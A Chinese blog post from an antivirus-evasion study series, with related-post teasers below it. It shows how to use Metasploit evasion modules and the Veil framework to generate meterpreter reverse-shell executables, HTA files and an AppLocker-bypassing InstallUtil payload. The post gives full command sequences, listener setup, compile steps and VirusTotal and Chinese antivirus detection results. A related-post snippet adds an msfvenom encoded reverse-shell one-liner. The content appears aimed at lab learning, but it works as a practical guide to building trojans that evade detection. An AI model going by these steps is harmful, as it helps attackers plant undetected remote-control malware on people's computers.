TideSec远控免杀学习二(Evasion模块+veil)

Veil-Evasion安装及使用 Veil-Evasion安装及使用 1.安装veil apt-get install veil 安装过程中有需要安装的软件全部点下一步即可 如果安装完有任何错误,可以cd到/usr/share/veil-evasion/setup/目录下重新启动setup.sh脚本 cd /usr/share/veil-evasion/setup/ ./setup.sh 过程和上一步相同,安装完成后,输入veil出现以下画面,说明安装成功 阅读详情

Evasion模块

参考链接:

applocker_evasion_install_util.md:

https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/evasion/windows/applocker_evasion_install_util.md

基于白名单Csc.exe执行payload:https://micro8.gitbook.io/micro8/contents-1/71-80/77-ji-yu-bai-ming-dan-csc.exe-zhi-hang-payload-di-qi-ji

使用veil绕过杀软:https://blog.youkuaiyun.com/wyf12138/article/details/79825833

免杀后门之MSF&Veil-Evasion的完美结合http://www.secist.com/archives/1107.html

APT级的全面免杀:https://xz.aliyun.com/t/4191

 

生成exe(VT查杀率42/71)

show evasion
use windows/windows_defender_exe
set filename test.exe
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.42.138
set LPORT 3333
run
handler -H 192.168.42.138 -P 3333 -p windows/meterpreter/reverse_tcp
jobs

virustotal.com中42/71个报毒

火绒以及360都会拦

生成hta(VT查杀率23/58)

show evasion
use windows/windows_defender_js_hta
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.42.138
set LPORT 3333
run
handler -H 192.168.42.138 -P 3333 -p windows/meterpreter/reverse_tcp
jobs

可以过火绒,但是不能过360(但是vt上没报毒,所以vt上有时候并不准)

生成install_util(VT查杀率14/70)

use windows/applocker_evasion_install_util
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.42.138
set lport 3333
run

根据说明,需要使用csc.exe进行编译一下,然后用InstallUtil.exe加载文件。

csc.exe是微软.NET Framework 中的C#语言编译器,本机安装了.net后就可以找到该文件。我这里用vs2019里的csc.exe进行编译,生成install_util.exe。

Csc.exe /out:install_util.exe c:\install_util.txt

直接执行install_util.exe是没有任何反应的,需要使用InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe来加载。

可以成功

不过这个的应用难度比较大,需要目标机上面有.net环境,而且现今各种杀软对.net的查杀都比较严重,所以应用场景一般,而且如果打包把环境拷贝的话,更是加大了木马的体积,更容易被发现

而且在2019年1月msf5更新的不止evasion模块,还有个更强大的模板编译函数Metasploit::Framework::Compiler,提供了更强大的自定义免杀机制。后面文章会讲述该模块使用。

 

Veil免杀

Veil、Venom和Shellter是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。

Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件,还能利用Metasploit框架生成相兼容的Payload工具,从而逃避了常见防病毒产品的检测。

Veil的安装

安装参考:https://www.freebuf.com/sectool/89024.html

kali快速安装

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

亲身体验过,安装以及执行会出现各种问题,依赖包也会出现各种问题,无论是快速安装还是常规手动安装都没能解决。开始以为自己的问题,后来发现其他人也有一样的困惑,但是也有其他人一遍成功。。。

后来,发现有人做好了veil的docker镜像,简单便捷,一键运行。

Docker安装

 

apt install docker

apt install docker-compose

在kali里安装docker后,添加docker加速镜像地址:

​​​​​​​vi /etc/docker/daemon.json
{
    "registry-mirrors": [
        "https://1nj0zren.mirror.aliyuncs.com",
        "https://docker.mirrors.ustc.edu.cn",
        "http://f1361db2.m.daocloud.io",
        "https://registry.docker-cn.com"
    ]
}
 
systemctl daemon-reload
systemctl restart docker
docker pull mattiasohlsson/veil
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

 

-v /tmp/veil-output:/var/lib/veil/output:Z是将宿主机的/tmp/veil-output目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用。

Docker ps查看镜像

docker exec -it a61373de85e9 /bin/bash

然后Veil命令即可进入veil的界面

veil使用

veil有两个免杀的工具,Evasion和Ordnance。

Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。

我们一般选择Evasion

use 1
list

推荐使用以go和ruby语言encode的编码方式。像python这类的与用户有较高的交互就容易被查杀。

veil原理可以参考这篇文章:https://xz.aliyun.com/t/4191

使用veil直接生成exe(VT查杀率43/69)

我们使用go语言生成msf的payload

use 15
set lhost 192.168.42.138
set lport 3334
generate

名称:go_msf

因为之前已经做过映射,所以在宿主机的/tmp/veil-output/compiled/目录可直接看到生成的exe文件。

Msf中进行监听:

use multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.42.138
set lport 3334
run

可以过火绒,但是过不了360,缺点是体积太大了,go语言生成的exe大约2M,python生成的exe大约4M,ruby生成的exe大约700K,相比msf原生态的exe大打多了。而且vt的效果:

使用veil+mingw-w64(VT查杀率4/71)

use 1
use 7            (选择payload  c/meterpreter/rev_tcp.py)
set lhost 192.168.42.138
set lport 3333
generate

 生成文件名为c_msf

这个步骤生成了一个可以被msf利用的c_msf.c,然后用mingw-w64编译

mingw-w64的安装可参考https://zhuanlan.zhihu.com/p/76613134

安装完成mingw-w64之后输入命令:

gcc c_msf.c -o c_msf.exe -lwsock32

编译完成,然后进行测试

kali端:

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.42.138
set lport 3333
run

然后靶机运行编译生成的c_msf.exe木马

WTF!!!!!!

上线立刻掉线,搞不懂,不过过了360和火绒

而且vt效果出奇的好

这和重剑无锋大佬的结果有很大出入,待我回去仔细研究一波(换了端口试验了一下,不行,猜测和mingw-w64的版本有关)

如果哪位大佬试验成功,请务必私信我,灰常感谢

veil功能还是很强大的,生成的shellcode自身免杀能力就不错,而且支持多种语言的shellcode编译打包,和msf及cs可以无缝对接,值得人好好研究一下。三大老牌免杀工具不是浪得虚名的~~

 

 

 

 

 

 

 

 

 

 

kali免杀工具Veil Evasion 首先,介绍一下Veil Evasion,Veil Evasion是linux的一款免杀工具,是一个用 Python 编写的免杀框架,用来生成MSF的Payload,能绕过常见的杀毒软件,它可以将任意脚本或一段 Shellcode 转换成 Windows 可执行文件,从而逃避常见防病毒产品的检测。关于MSF,它就是一个漏洞框架(全称:The Metasploit Framework),嗯,免费,通过这个框架,我们可以很容易的对于软件的漏洞进行攻击。它本身带有几千个漏洞攻击工具。...... 阅读详情

相关推荐

信息安全之远程控制

远程控制是指在渗透测试中通过远程手段控制目标系统,进行各种操作和获取信息。远程控制在渗透测试中扮演着重要的角色。通过远程控制,渗透测试人员可以模拟攻击者对目标系统进行操作,从而发现系统中的弱点和安全漏洞。以下是一些常见的远程控制技术:1. 反向Shell:通过在目标系统上安装恶意软件,使其与攻击者的控制服务器建立连接,并通过该连接实现远程控制。反向Shell可以用于执行命令、上传/下载文件、查看系统信息等操作。

cnm1131627的博客 1295

veil-evasion介绍

veil-evasion简介 veil-evasion是linux平台的一款免杀工具,可直接通过apt-get安装,用来生成msf的payload,能绕过常见的杀软。 安装 apt-get install veil-evasion 点击vei直接安装(这个耗时比较长) 3.安装python,pywin32,pycrypto,ruby(自动完成,但需要手动确认) 4.输入Veil-eva...

mcc的博客 2769

掌握免杀技术:Veil-Evasion工具详解与实践

在现代网络安全领域,攻击者与防御者之间的对抗日益激烈。免杀工具作为一种能够帮助攻击者绕过杀毒软件检测的工具,对网络安全构成了严重威胁。本章节将为读者提供对免杀工具——尤其是veil-evasion工具的初步了解,为之后的深入探讨打好基础。免杀工具是指那些能够通过特定技术手段修改恶意代码,使其得以逃避杀毒软件检测的工具。veil-evasion是一个著名的免杀工具,它集成了多种编码、混淆技术,能够生成多种免杀的payload(载荷),使得安全人员难以察觉恶意活动。

weixin_42181686的博客 688

kali之——安装免杀工具Veil-Evasion

转载请注明出处:https://blog.youkuaiyun.com/l1028386804/article/details/84895163 Veil Evasion简介 Veil Evasion是一个可执行文件,它被用来生成Metasploit的payload,能绕过常见杀软。 免责声明:本教程目的只是为了教育,我们不对这些东西会如何使用担任何风险,使用它的后果自负。 Veil-Evasion被...

冰河的专栏 1万+

无人机多旋翼倾转动力测试系统-适用于(eVTOL开发、缩比模型测试、科研教育)

LY-QZ-F4多旋翼倾转动力测试系统是全球首款专为倾转四旋翼设计的多自由度动力测试平台,融合高精度传感、动态倾转模拟与智能工况分析,为下一代eVTOL技术提供全维度验证工具。采用航空级应变传感器(精度±0.1% FS),同步捕获推力、扭矩、俯仰/滚转力矩,动态误差<1%。同时测试电驱动系统(单轴最大150kW)与混合动力单元(增程式),支持高压(800V)平台。通过MET数据采集软件,控制采集一体化,定制化,实时观察上百个传感器数据,实时更改测试需求。可搭配六维姿态平台,温湿度舱、振动台等环境模拟设备。

weixin_49209795的博客 874

本地Qwen + ComfyUI 制作AI漫剧完整保姆级教程(2026年3月最新版)

本文介绍了一个零成本、本地化AI漫剧制作方案,整合Qwen大模型和ComfyUI工作流。Qwen负责剧本创作、分镜设计和提示词生成,ComfyUI处理图像生成、角色一致性保持和动态视频制作。该方案支持8GB显存设备运行(推荐12GB),包含详细安装指南和完整制作流程:从Ollama安装Qwen模型,到ComfyUI配置及必备节点安装,再到分镜生成、角色固定、批量出图和视频合成。文章还提供了常见问题解决方案和优化技巧,全流程1-2小时即可完成3分钟竖屏漫剧制作,适合新手和日更创作者。

posstos的博客 5539

Evasion 使用及实际免杀测试

kali升级到5.0之后,有了一个新的模块Evasion,这个文章我就去测试一下Evasion生成的木马的实际免杀效果。 360版本:13.0.0.2002 备用木马库:2021-10-05 360杀毒:5.0.0.8140 火绒版本:5.0.63.2 病毒库:2021-09-29 Evasion使用 msfconsole进入msf show evasion 查看Evasion所提供的模块 一、evasion/windows/windows_defender_exe...

时乙的博客 1083

5G边缘计算:核心网下沉革命

5G核心网与边缘计算的深度融合,通过UPF下沉、本地流量卸载等关键技术,实现了低时延、高效能的分布式计算架构。该技术将数据处理从核心网向边缘节点转移,支持工业控制、车联网、远程医疗等场景的1-10ms超低时延需求。5G核心网的SBA架构和CUPS设计为边缘计算提供了灵活部署基础,SMF、PCF等网元协同确保业务质量与可靠性。

Qinti_mm的博客 1400

常见的几种免杀方法

攻击机kali:192.168.1.11 靶机Windows7:192.168.1.18 1、自编码免杀 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 -e x86/shikata_ga_nai -i 15 -f exe -o shell.exe 开启本地监听并在靶机运行木马,shell反弹成功,木马程序正常使用 微步沙箱检测结果,检出率近一半,效果一般 ​​​ ...

路虽远,行将至。事虽难,做必达。 7101

Docker一键部署Synopsys EDA全家桶(VCS/Verdi 2018版)保姆级教程

本文提供了一份详尽的Docker容器化部署Synopsys EDA工具链(VCS/Verdi 2018版)的保姆级教程。通过环境隔离与标准化,解决传统安装的依赖冲突问题,并重点攻克了容器内GUI图形界面显示的核心难题。教程涵盖从Docker基础安装、镜像获取、容器启动配置,到使用X11转发或VNC实现Verdi完美显示的完整实践,旨在帮助芯片设计工程师快速构建稳定、可移植的一键化EDA工作环境。

weixin_29281941的博客 196

YOLOv11 改进入门篇 | 轻量级涨点技巧:GhostConv 替代普通卷积的实战指南

摘要: 本文介绍如何通过GhostConv改进YOLOv11,实现轻量化涨点。YOLOv11深度增加导致参数量、延迟和内存占用上升,GhostConv通过“本征特征+线性变换”策略,在精度几乎无损的情况下降低30%-50%计算量。文章详细解析GhostConv原理,对比普通卷积的参数量和FLOPs优势,并提供完整的代码级改造流程,包括模块实现、注册及网络配置。实验表明,该方法有效提升边缘端推理效率,适用于移动端等资源受限场景。

shrgegrb的博客 1653

MSF生成木马及木马的简单使用

本文将介绍有关MSF木马模块的简单使用方式,介绍常见的几种木马生成方式,如有不对的地方,欢迎大家在评论区指正。由于本文仅对部分模块的简单使用进行说明,更多信息请参考官方网址MSFVENOM环境配置说明1. 使用kali虚拟机和Win7(可以低于此版本)虚拟机2. kali虚拟机建议使用最新版本并将系统软件更新至最新版本3. Win7虚拟机务必关闭网络防火墙,不建议使用Win7及以上版本系统,简单的木马会被直接删除4. 查看两台虚拟机的IP地址,确保两台虚拟机之间可以ping通。

爱喝水的仙人树的博客 1万+

成功解决raise Py4JError py4j.protocol.Py4JError: py4j.protocol.Py4JError: Could not find py4j jar at 

成功解决raise Py4JError("Could not find py4j jar at {0}".format(jarpath)) py4j.protocol.Py4JError: Could not find py4j jar at 目录 解决问题 解决思路 解决方法 1、第一步安装jdk 2、第二步安装或升级py4j 解决问题 raise Py4JError("Could not find py4j jar at {0...

头部AI社区如有邀博主AI主题演讲请私信—心比天高,仗剑走天涯,保持热爱,奔赴向梦想!低调,专注,谦虚,自律,反思,成长,还算比较正能量的博主,公益免费传播…内心特别想在AI界做出一些可以推进历史进程影响力的技术(兴趣使然,有点小情怀,也有点使命感呀 4624

探索未来安全——TideSec Tide项目详解

探索未来安全——TideSec Tide项目详解 去发现同类优质开源项目:https://gitcode.com/ 项目简介 是由TideSec团队开发的一款开源的安全评估工具,它旨在帮助开发者和安全专家更有效地检测代码中的潜在漏洞和不安全的编程实践。该项目基于Python语言编写,利用现代软件工程方法,将静态分析、动态分析及模糊测试等技术融合在一起,为保障软件安全提供了一站式的解决方案。 技术分...

gitblog_00051的博客 514

uniapp - 超详细实现播放 svg / svga 格式动画组件插件,用于直播间赠送礼物特效动画或项目动画特效较多的应用(新手小白保姆级教程,提供插件+详细运行示例+使用文档+注意事项+格式说明)

uniappsvga,uniapp播放svga动画,uniapp中使用svga动画详细教程,uniapp播放svga的插件,uniapp有没有调用svga格式动画的组件插件,uinappH5App小程序全端兼容的svga播放器免费好用插件,uniapp好用的svga格式动画插件,在uniapp中使用SVGAPlayer播放svga动画,uniapp中使用svga动画,编译到apph5,uniapp运行svg动画,uniapp怎么使用svga文件格式,uniapp播放svg格式的动画教程,un

🏆 前端领域优质创作者 1万+

汽车行业OTD业务模式入门学习

本文是在学习彭俊松老师的《汽车行业整车订单交付系统》后,对于OTD理解的一些摘录,供诸位参考学习。

qq_40664711的博客 1万+

【MSFconsole进阶】evasion(免杀模块):免杀模块使用方法,相关设置

【渗透工具】MSFconsole进阶:evasion(免杀模块)

2174

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

探秘Veil-Evasion:一款强大的渗透测试框架

是一个开源的、针对Windows操作系统的渗透测试框架,主要用于开发和执行免杀的命令行payload。它的设计目标是提供一种简单而有效的方法,帮助安全研究人员和道德黑客在进行网络评估时绕过常见的安全防护系统。 ## 技术分析 Veil-Evasion的核心在于其免杀机制。它利用了多种混淆和编码技术,使得生成的payload难以被传统的反病毒软件识别。以下是Veil的一些关键技术点: 1. *...

gitblog_00011的博客 667

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

TideSec远控免杀学习四(BackDoor-Factory+Avet+TheFatRat)

BackDoor-Factory 介绍 BackDoor-factory,又称后门工厂(BDF),BDF是也是一款老牌的免杀神器,其作者曾经在2015年的blackhat大会上介绍过该工具。但是作者已经于2017年停止更新,免杀效果就算现在来看也还算不错的。 原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来...

fa1lr4in的小博客 4074

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

基于Go加载shellcode

这里通过TideSec的go免杀项目来从0开始学习首先导个包,需要用到如下几个包。io/ioutil 文件操作os 系统操作syscall syscall包含一个指向底层操作系统原语的接口unsafe Go指针的操作非常有限,仅支持赋值和取值,不支持指针运算,可以通过unsafe包来达到效果这里定义一下变量,然后需要通过syscall来加载两个dll,和ntdll.dll。然后这里有一个检查报错的函数,如果有报错就退出并打印报错信息。

Le1a's Blog 2912

metasploit/modules/evasion 有哪些模块,以及具体使用案例

Metasploit框架的evasion模块用于生成绕过安全检测的有效载荷。以下是一些常见的evasion。

weixin_46483815的博客 924

20192209 Exp3-免杀原理与实践

20192209 Exp3-免杀原理与实践 Exp3-免杀原理与实践 1.基础问题回答 ~问:杀软是如何检测出恶意代码的? 答:有多种方式检测出恶意代码:1.基于特征码的检测,杀毒软件会记录下一部分恶意软件的特征码;2.利用启发式恶意软件检测;3.基于行为的恶意软件检测。2和3在上学期的信安课程中有过部分阐述。 ~问:免杀是做什么? 答:运用一些手段给恶意软件或是病毒木马等增加伪装使杀毒软件不能识别或查杀。 ~问:免杀的基本方法有哪些? 答:改变特征码、加壳:压缩壳 加密壳、更改语言重新编译、改变行为、社会

LIULIULOO的博客 597

TideSec远控免杀学习三(Venom+Shellter)

参考链接: 利用meterpreter下的Venom免杀后门:https://www.cnblogs.com/wh4am1/p/7469625.html 免杀后门venom :https://www.ggsec.cn/venom.html msf免杀及后渗透技术:https://bbs.ichunqiu.com/thread-49618-1-1.html Venom Venom和Veil...

fa1lr4in的小博客 1701

远控免杀4---Evasion免杀

0x01 免杀能力一览表 1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12....

qq_41683305的博客 670

TideSec远控免杀学习五(avoidz+Green-Hat-Suite+zirikatu+DKMC)

参考资料 官方使用教程:https://www.youtube.com/watch?v=ZilOByKkrVk avoidz 介绍 Avoidz是一个比较使用比较简单的小工具,利用msf生成powershell的shellocde,然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果,套路比较简单,但免杀效果还算不错。 安装 git ...

fa1lr4in的小博客 858

在线指纹识别平台

指纹识别在攻防演练中是必不可少的一个环节,利用指纹识别出来目标资产使用了哪些框架、OA、CMS等,就可以尝试利用专项漏洞工具或者网上搜索相关漏洞从而实现快速打点目的。

SuperherRo的博客 6604
上一篇: TideSec远控免杀学习一(免杀基础+msfvenom隐藏的参数)
下一篇: TideSec远控免杀学习三(Venom+Shellter)
fa1lr4in
博客等级 码龄9年 64粉丝 79原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值